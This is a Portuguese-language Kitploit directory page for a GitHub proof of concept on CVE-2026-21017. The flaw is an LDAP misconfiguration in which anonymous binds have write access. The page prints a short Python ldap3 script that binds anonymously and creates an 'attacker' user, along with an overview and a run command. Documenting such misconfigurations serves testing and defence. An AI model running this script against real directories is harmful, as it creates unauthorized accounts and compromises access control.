Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-21017-LDAP-Anonymous-Bind-Privilege-Escalation — Prova de conceito em Python para escalonamento de privilégios via bind anônimo LDAP, simulando ACLs inseguras para criar usuários administradores por meio de binds LDAP não autenticados. | Kitploit
Ferramentas/GitHubGitHub/george0papasotiriou/cve-2026-21017-ldap-anonymous-bind-privilege-escalation
Autenticação e AutorizaçãoEscalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoTestes de PenetraçãoConfiguração Incorreta
GitHubgeorge0papasotiriou/cve-2026-21017-ldap-anonymous-bind-privilege-escalation

CVE-2026-21017-LDAP-Anonymous-Bind-Privilege-Escalation

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Prova de conceito em Python para escalonamento de privilégios via bind anônimo LDAP, simulando ACLs inseguras para criar usuários administradores por meio de binds LDAP não autenticados.

Ver Repositório
27há 2 mesesAinda não revisado

CVE-2026-21017 – Escalação de Privilégios via Bind Anônimo LDAP

Código do Programa (Simulação em Python ldap3)

# ldap_anon_sim.py - LDAP server allowing anonymous bind with write access
from ldap3 import Server, Connection, ALL

# Simulated: real server would be misconfigured
server = Server('ldap://localhost:389', get_info=ALL)
conn = Connection(server, authentication='ANONYMOUS')
conn.bind()
# If anonymous has write permission to userPassword, can add self as admin
conn.add('uid=attacker,ou=people,dc=example,dc=com', ['inetOrgPerson'], {'uid': 'attacker', 'userPassword': 'password'})
print("User created anonymously!")

CVE-2026-21017 – Escalação de Privilégios via Bind Anônimo LDAP

Severity: Critical

Visão Geral

Um diretório LDAP está mal configurado para permitir binds anônimos e também concede acesso de escrita a atributos sensíveis (como userPassword). Um atacante pode fazer bind anonimamente e criar um novo usuário administrador, escalando privilégios.

Detalhes da Vulnerabilidade

  • Tipo: Controle de Acesso Insuficiente
  • Impacto: Comprometimento total do diretório.
  • Causa Raiz: A lista de controle de acesso (ACL) não restringe gravações a usuários autenticados.

Demonstração do Exploit

Execute a simulação (requer um servidor LDAP real para teste efetivo, mas mostramos o conceito):

python ldap_anon_sim.py

O script tenta adicionar um usuário anonimamente.

Baixar ferramenta